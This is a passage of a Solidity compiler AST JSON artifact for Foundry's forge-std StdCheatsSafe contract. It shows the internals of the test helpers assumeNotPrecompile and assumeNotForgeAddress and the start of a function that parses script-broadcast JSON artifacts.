eDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4283,"name":"address","nodeType":"ElementaryTypeName","src":"11396:7:3","typeDescriptions":{}}},"id":4286,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11396:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11389:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4293,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4288,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11451:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830323030303030303030303030303030303030303030303030303030303030303030303030304646","id":4291,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11466:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x02000000000000000000000000000000000000FF"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4290,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11458:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4289,"name":"address","nodeType":"ElementaryTypeName","src":"11458:7:3","typeDescriptions":{}}},"id":4292,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11458:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11451:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11389:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4279,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11379:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4281,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11382:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11379:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11379:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4296,"nodeType":"ExpressionStatement","src":"11379:131:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4312,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4300,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11534:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830333030303030303030303030303030303030303030303030303030303030303030303030303030","id":4303,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11549:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0300000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4302,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11541:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4301,"name":"address","nodeType":"ElementaryTypeName","src":"11541:7:3","typeDescriptions":{}}},"id":4304,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11541:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11534:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4311,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4306,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"11596:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830333030303030303030303030303030303030303030303030303030303030303030303030304666","id":4309,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11611:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x03000000000000000000000000000000000000Ff"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4308,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11603:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4307,"name":"address","nodeType":"ElementaryTypeName","src":"11603:7:3","typeDescriptions":{}}},"id":4310,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11603:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11596:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11534:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4297,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11524:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4299,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11527:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11524:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4313,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11524:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4314,"nodeType":"ExpressionStatement","src":"11524:131:3"}]}},"id":4317,"nodeType":"IfStatement","src":"10735:931:3","trueBody":{"id":4253,"nodeType":"Block","src":"10778:265:3","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4250,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4238,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10911:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303634","id":4241,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10926:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0000000000000000000000000000000000000064"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10918:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4239,"name":"address","nodeType":"ElementaryTypeName","src":"10918:7:3","typeDescriptions":{}}},"id":4242,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10918:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10911:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4249,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4244,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10973:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307830303030303030303030303030303030303030303030303030303030303030303030303030303638","id":4247,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10988:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x0000000000000000000000000000000000000068"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4246,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10980:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4245,"name":"address","nodeType":"ElementaryTypeName","src":"10980:7:3","typeDescriptions":{}}},"id":4248,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10980:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10973:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10911:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4235,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"10901:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10904:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"10901:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10901:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4252,"nodeType":"ExpressionStatement","src":"10901:131:3"}]}},"id":4318,"nodeType":"IfStatement","src":"10386:1280:3","trueBody":{"id":4227,"nodeType":"Block","src":"10423:306:3","statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4224,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4217,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4212,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10597:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"arguments":[{"hexValue":"307834323030303030303030303030303030303030303030303030303030303030303030303030303030","id":4215,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10612:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4200000000000000000000000000000000000000"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4214,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10604:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4213,"name":"address","nodeType":"ElementaryTypeName","src":"10604:7:3","typeDescriptions":{}}},"id":4216,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10604:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10597:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4223,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4218,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4179,"src":"10659:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"arguments":[{"hexValue":"307834323030303030303030303030303030303030303030303030303030303030303030303030383030","id":4221,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"10674:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4200000000000000000000000000000000000800"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":4220,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10666:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4219,"name":"address","nodeType":"ElementaryTypeName","src":"10666:7:3","typeDescriptions":{}}},"id":4222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10666:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"10659:58:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"10597:120:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4209,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"10587:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4211,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10590:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"10587:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10587:131:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4226,"nodeType":"ExpressionStatement","src":"10587:131:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotPrecompile","nameLocation":"9926:19:3","parameters":{"id":4182,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4179,"mutability":"mutable","name":"addr","nameLocation":"9954:4:3","nodeType":"VariableDeclaration","scope":4320,"src":"9946:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4178,"name":"address","nodeType":"ElementaryTypeName","src":"9946:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":4181,"mutability":"mutable","name":"chainId","nameLocation":"9968:7:3","nodeType":"VariableDeclaration","scope":4320,"src":"9960:15:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":4180,"name":"uint256","nodeType":"ElementaryTypeName","src":"9960:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"9945:31:3"},"returnParameters":{"id":4183,"nodeType":"ParameterList","parameters":[],"src":"9999:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4345,"nodeType":"FunctionDefinition","src":"11711:314:3","nodes":[],"body":{"id":4344,"nodeType":"Block","src":"11778:247:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4341,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":4337,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4333,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4328,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4322,"src":"11865:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"id":4331,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11881:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}],"id":4330,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"11873:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":4329,"name":"address","nodeType":"ElementaryTypeName","src":"11873:7:3","typeDescriptions":{}}},"id":4332,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11873:11:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"11865:19:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4334,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4322,"src":"11888:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":4335,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11896:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"src":"11888:50:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11865:73:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":4340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":4338,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4322,"src":"11958:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"307834653539623434383437623337393537383538383932306341373846624632366330423439353643","id":4339,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11966:42:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4e59b44847b379578588920cA78FbF26c0B4956C"},"src":"11958:50:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"11865:143:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":4325,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"11842:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4327,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"11845:6:3","memberName":"assume","nodeType":"MemberAccess","referencedDeclaration":14659,"src":"11842:9:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$__$","typeString":"function (bool) pure external"}},"id":4342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"11842:176:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":4343,"nodeType":"ExpressionStatement","src":"11842:176:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assumeNotForgeAddress","nameLocation":"11720:21:3","parameters":{"id":4323,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4322,"mutability":"mutable","name":"addr","nameLocation":"11750:4:3","nodeType":"VariableDeclaration","scope":4345,"src":"11742:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":4321,"name":"address","nodeType":"ElementaryTypeName","src":"11742:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"11741:14:3"},"returnParameters":{"id":4324,"nodeType":"ParameterList","parameters":[],"src":"11778:0:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4437,"nodeType":"FunctionDefinition","src":"12031:843:3","nodes":[],"body":{"id":4436,"nodeType":"Block","src":"12183:691:3","nodes":[],"statements":[{"assignments":[4354],"declarations":[{"constant":false,"id":4354,"mutability":"mutable","name":"data","nameLocation":"12207:4:3","nodeType":"VariableDeclaration","scope":4436,"src":"12193:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":4353,"name":"string","nodeType":"ElementaryTypeName","src":"12193:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":4359,"initialValue":{"arguments":[{"id":4357,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4347,"src":"12226:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4355,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"12214:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4356,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12217:8:3","memberName":"readFile","nodeType":"MemberAccess","referencedDeclaration":12809,"src":"12214:11:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) view external returns (string memory)"}},"id":4358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12214:17:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"12193:38:3"},{"assignments":[4361],"declarations":[{"constant":false,"id":4361,"mutability":"mutable","name":"parsedData","nameLocation":"12254:10:3","nodeType":"VariableDeclaration","scope":4436,"src":"12241:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":4360,"name":"bytes","nodeType":"ElementaryTypeName","src":"12241:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":4366,"initialValue":{"arguments":[{"id":4364,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4354,"src":"12280:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":4362,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"12267:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":4363,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12270:9:3","memberName":"parseJson","nodeType":"MemberAccess","referencedDeclaration":13073,"src":"12267:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure external returns (bytes memory)"}},"id":4365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12267:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"12241:44:3"},{"assignments":[4369],"declarations":[{"constant":false,"id":4369,"mutability":"mutable","name":"rawArtifact","nameLocation":"12327:11:3","nodeType":"VariableDeclaration","scope":4436,"src":"12295:43:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact"},"typeName":{"id":4368,"nodeType":"UserDefinedTypeName","pathNode":{"id":4367,"name":"RawEIP1559ScriptArtifact","nameLocations":["12295:24:3"],"nodeType":"IdentifierPath","referencedDeclaration":3741,"src":"12295:24:3"},"referencedDeclaration":3741,"src":"12295:24:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact"}},"visibility":"internal"}],"id":4376,"initialValue":{"arguments":[{"id":4372,"name":"parsedData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4361,"src":"12352:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":4373,"name":"RawEIP1559ScriptArtifact","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3741,"src":"12365:24:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawEIP1559ScriptArtifact storage pointer)"}}],"id":4374,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"12364:26:3","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawEIP1559ScriptArtifact storage pointer)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_struct$_RawEIP1559ScriptArtifact_$3741_storage_ptr_$","typeString":"type(struct StdCheatsSafe.RawEIP1559ScriptArtifact storage pointer)"}],"expression":{"id":4370,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12341:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":4371,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12345:6:3","memberName":"decode","nodeType":"MemberAccess","src":"12341:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":4375,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12341:50:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_RawEIP1559ScriptArtifact_$3741_memory_ptr","typeString":"struct StdCheatsSafe.RawEIP1559ScriptArtifact memory"}},"nodeType":"VariableDeclarationStatement","src":"12295:96:3"},{"assignments":[4379],"declarations":[{"constant":false,"id":4379,"mutability":"mutable","name":"artifact","nameLocation":"12430:8:3","nodeType":"VariableDeclaration","scope":4436,"src":"12401:37:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_EIP1559ScriptArtifact_$3718_memory_ptr","typeString":"struct 